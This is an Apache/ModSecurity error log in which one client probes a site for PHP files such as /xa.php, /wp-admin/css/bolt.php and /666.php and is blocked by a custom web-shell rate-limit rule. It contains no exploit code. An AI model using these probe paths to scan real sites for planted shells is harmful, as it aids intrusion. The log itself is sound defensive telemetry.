[Thu Feb 26 10:19:52.873218 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:49312] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aZ-tyNfdM__yZAgJFSs1-AAAAYA"]
[Thu Feb 26 10:19:54.219335 2026] [:error] [pid 55618:tid 55627] [client 20.100.197.204:27846] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aZ-tyh61Vrh12f_8oWQtPAAAAQY"]
[Thu Feb 26 10:19:55.351469 2026] [:error] [pid 55051:tid 55070] [client 20.100.197.204:53299] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aZ-tywmK1w2kZvh5eLG8ygAAAJA"]
[Thu Feb 26 10:19:56.063999 2026] [proxy_fcgi:error] [pid 3883:tid 3891] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:56.327286 2026] [proxy_fcgi:error] [pid 3883:tid 3902] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:56.590598 2026] [proxy_fcgi:error] [pid 3883:tid 3898] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:56.859917 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:57.125497 2026] [proxy_fcgi:error] [pid 3883:tid 3907] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:57.388598 2026] [proxy_fcgi:error] [pid 3883:tid 3888] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:57.651811 2026] [proxy_fcgi:error] [pid 3883:tid 3887] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:58.374621 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:58.649888 2026] [proxy_fcgi:error] [pid 3883:tid 3900] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:58.920240 2026] [proxy_fcgi:error] [pid 3883:tid 3909] [client 20.100.197.204:7243] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:19:59.181825 2026] [:error] [pid 3883:tid 3907] [client 20.100.197.204:7243] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aZ-tz-A33x90V6yYHaj0CgAAAVU"]
[Thu Feb 26 10:20:00.653385 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:47786] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aZ-t0NfdM__yZAgJFSs2PQAAAYo"]
[Thu Feb 26 10:20:02.405516 2026] [:error] [pid 25311:tid 25322] [client 20.100.197.204:40696] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aZ-t0tfdM__yZAgJFSs2SAAAAYg"]
[Thu Feb 26 10:20:03.129357 2026] [:error] [pid 3883:tid 3896] [client 20.100.197.204:49337] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aZ-t0-A33x90V6yYHaj0EgAAAUo"]
[Thu Feb 26 10:20:04.096172 2026] [:error] [pid 55618:tid 55636] [client 20.100.197.204:7292] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ-t1B61Vrh12f_8oWQtUAAAAQ8"]
[Thu Feb 26 10:20:05.169116 2026] [:error] [pid 55618:tid 55633] [client 20.100.197.204:33943] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ-t1R61Vrh12f_8oWQtUgAAAQw"]
[Thu Feb 26 10:20:06.020133 2026] [:error] [pid 54991:tid 55030] [client 20.100.197.204:50564] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ-t1t4Zx-mJ8gbRB2hwBgAAAEo"]
[Thu Feb 26 10:20:06.975362 2026] [:error] [pid 54991:tid 55026] [client 20.100.197.204:7246] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ-t1t4Zx-mJ8gbRB2hwBwAAAEY"]
[Thu Feb 26 10:20:08.742074 2026] [:error] [pid 25311:tid 25317] [client 20.100.197.204:33957] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aZ-t2NfdM__yZAgJFSs2YgAAAYM"]
[Thu Feb 26 10:20:09.493460 2026] [:error] [pid 54991:tid 55033] [client 20.100.197.204:27866] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aZ-t2d4Zx-mJ8gbRB2hwCQAAAE0"]
[Thu Feb 26 10:20:10.236764 2026] [:error] [pid 25311:tid 25321] [client 20.100.197.204:59360] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aZ-t2tfdM__yZAgJFSs2agAAAYc"]
[Thu Feb 26 10:20:11.758317 2026] [:error] [pid 25311:tid 25317] [client 20.100.197.204:49281] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aZ-t29fdM__yZAgJFSs2cQAAAYM"]
[Thu Feb 26 10:20:13.123947 2026] [:error] [pid 54991:tid 55020] [client 20.100.197.204:50586] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aZ-t3d4Zx-mJ8gbRB2hwCgAAAEA"]
[Thu Feb 26 10:20:14.582123 2026] [:error] [pid 3883:tid 3886] [client 20.100.197.204:53932] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aZ-t3uA33x90V6yYHaj0QQAAAUA"]
[Thu Feb 26 10:20:15.742749 2026] [:error] [pid 55618:tid 55622] [client 20.100.197.204:49324] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aZ-t3x61Vrh12f_8oWQtWAAAAQE"]
[Thu Feb 26 10:20:17.444243 2026] [:error] [pid 55618:tid 55627] [client 20.100.197.204:40645] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aZ-t4R61Vrh12f_8oWQtWwAAAQY"]
[Thu Feb 26 10:20:18.716743 2026] [:error] [pid 55122:tid 55146] [client 20.100.197.204:33975] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aZ-t4oLiR0OfjFxvcN-OagAAANY"]
[Thu Feb 26 10:20:20.678119 2026] [:error] [pid 3883:tid 3898] [client 20.100.197.204:7290] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aZ-t5OA33x90V6yYHaj0YAAAAUw"]
[Thu Feb 26 10:20:21.724220 2026] [:error] [pid 55051:tid 55055] [client 20.100.197.204:44599] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aZ-t5QmK1w2kZvh5eLG81gAAAIE"]
[Thu Feb 26 10:20:22.781847 2026] [:error] [pid 25311:tid 25314] [client 20.100.197.204:7242] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aZ-t5tfdM__yZAgJFSs2mAAAAYA"]
[Thu Feb 26 10:20:23.859172 2026] [:error] [pid 54991:tid 55040] [client 20.100.197.204:7346] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aZ-t594Zx-mJ8gbRB2hwCwAAAFQ"]
[Thu Feb 26 10:20:24.650218 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:47795] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aZ-t6NfdM__yZAgJFSs2oAAAAZc"]
[Thu Feb 26 10:20:25.706347 2026] [:error] [pid 55618:tid 55636] [client 20.100.197.204:58582] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aZ-t6R61Vrh12f_8oWQtXwAAAQ8"]
[Thu Feb 26 10:20:26.813506 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:40657] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aZ-t6tfdM__yZAgJFSs2qQAAAYY"]
[Thu Feb 26 10:20:27.748468 2026] [:error] [pid 55122:tid 55138] [client 20.100.197.204:50595] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aZ-t64LiR0OfjFxvcN-OdQAAAM4"]
[Thu Feb 26 10:20:29.540010 2026] [:error] [pid 25311:tid 25323] [client 20.100.197.204:59341] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aZ-t7dfdM__yZAgJFSs2twAAAYk"]
[Thu Feb 26 10:20:31.044874 2026] [:error] [pid 55051:tid 55065] [client 20.100.197.204:47770] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aZ-t7wmK1w2kZvh5eLG83AAAAIs"]
[Thu Feb 26 10:20:32.248484 2026] [:error] [pid 25311:tid 25337] [client 20.100.197.204:59349] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aZ-t8NfdM__yZAgJFSs2ygAAAZc"]
[Thu Feb 26 10:20:33.984044 2026] [:error] [pid 54991:tid 55037] [client 20.100.197.204:49325] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aZ-t8d4Zx-mJ8gbRB2hwDgAAAFE"]
[Thu Feb 26 10:20:35.031152 2026] [:error] [pid 54990:tid 54995] [client 20.100.197.204:33964] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aZ-t83tr2qmt_mBhH2zHPwAAAAI"]
[Thu Feb 26 10:20:36.889569 2026] [:error] [pid 25311:tid 25328] [client 20.100.197.204:53308] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aZ-t9NfdM__yZAgJFSs24gAAAY4"]
[Thu Feb 26 10:20:37.902760 2026] [:error] [pid 54991:tid 55024] [client 20.100.197.204:47798] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aZ-t9d4Zx-mJ8gbRB2hwDwAAAEQ"]
[Thu Feb 26 10:20:40.284630 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:53910] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aZ-t-NfdM__yZAgJFSs28QAAAYY"]
[Thu Feb 26 10:20:41.308189 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:53944] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aZ-t-dfdM__yZAgJFSs29gAAAZM"]
[Thu Feb 26 10:20:42.030501 2026] [:error] [pid 54991:tid 55031] [client 20.100.197.204:47800] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aZ-t-t4Zx-mJ8gbRB2hwFAAAAEs"]
[Thu Feb 26 10:20:43.300718 2026] [:error] [pid 55122:tid 55148] [client 20.100.197.204:27882] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aZ-t-4LiR0OfjFxvcN-OowAAANg"]
[Thu Feb 26 10:20:46.763725 2026] [:error] [pid 55122:tid 55138] [client 20.100.197.204:40703] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aZ-t_oLiR0OfjFxvcN-OsgAAAM4"]
[Thu Feb 26 10:20:48.314125 2026] [:error] [pid 3883:tid 3908] [client 20.100.197.204:53903] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aZ-uAOA33x90V6yYHaj0iAAAAVY"]
[Thu Feb 26 10:20:49.197224 2026] [:error] [pid 3883:tid 3905] [client 20.100.197.204:58621] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aZ-uAeA33x90V6yYHaj0iwAAAVM"]
[Thu Feb 26 10:20:50.659464 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:50106] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aZ-uAtfdM__yZAgJFSs3HwAAAZM"]
[Thu Feb 26 10:20:51.758334 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:27898] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aZ-uA9fdM__yZAgJFSs3IwAAAZA"]
[Thu Feb 26 10:20:53.255969 2026] [:error] [pid 3883:tid 3898] [client 20.100.197.204:7294] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aZ-uBeA33x90V6yYHaj0kgAAAUw"]
[Thu Feb 26 10:20:53.947574 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:40650] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aZ-uBeA33x90V6yYHaj0lAAAAUQ"]
[Thu Feb 26 10:20:54.931281 2026] [:error] [pid 55618:tid 55635] [client 20.100.197.204:53252] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aZ-uBh61Vrh12f_8oWQteAAAAQ4"]
[Thu Feb 26 10:20:55.860615 2026] [:error] [pid 54990:tid 55011] [client 20.100.197.204:53296] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aZ-uB3tr2qmt_mBhH2zHQwAAABI"]
[Thu Feb 26 10:20:57.331492 2026] [:error] [pid 25311:tid 25324] [client 20.100.197.204:7240] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aZ-uCdfdM__yZAgJFSs3NQAAAYo"]
[Thu Feb 26 10:20:58.400431 2026] [proxy_fcgi:error] [pid 55122:tid 55138] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:20:58.664463 2026] [proxy_fcgi:error] [pid 55122:tid 55144] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:20:58.992687 2026] [proxy_fcgi:error] [pid 55122:tid 55141] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:20:59.256989 2026] [proxy_fcgi:error] [pid 55122:tid 55136] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:20:59.519271 2026] [proxy_fcgi:error] [pid 55122:tid 55130] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:20:59.789189 2026] [proxy_fcgi:error] [pid 55122:tid 55128] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:21:00.063498 2026] [proxy_fcgi:error] [pid 55122:tid 55146] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:21:00.328652 2026] [proxy_fcgi:error] [pid 55122:tid 55148] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:21:00.591890 2026] [proxy_fcgi:error] [pid 55122:tid 55135] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:21:00.855323 2026] [proxy_fcgi:error] [pid 55122:tid 55132] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:21:01.128898 2026] [proxy_fcgi:error] [pid 55122:tid 55147] [client 20.100.197.204:50051] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:21:01.544316 2026] [:error] [pid 55122:tid 55140] [client 20.100.197.204:50051] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aZ-uDYLiR0OfjFxvcN-O1AAAANA"]
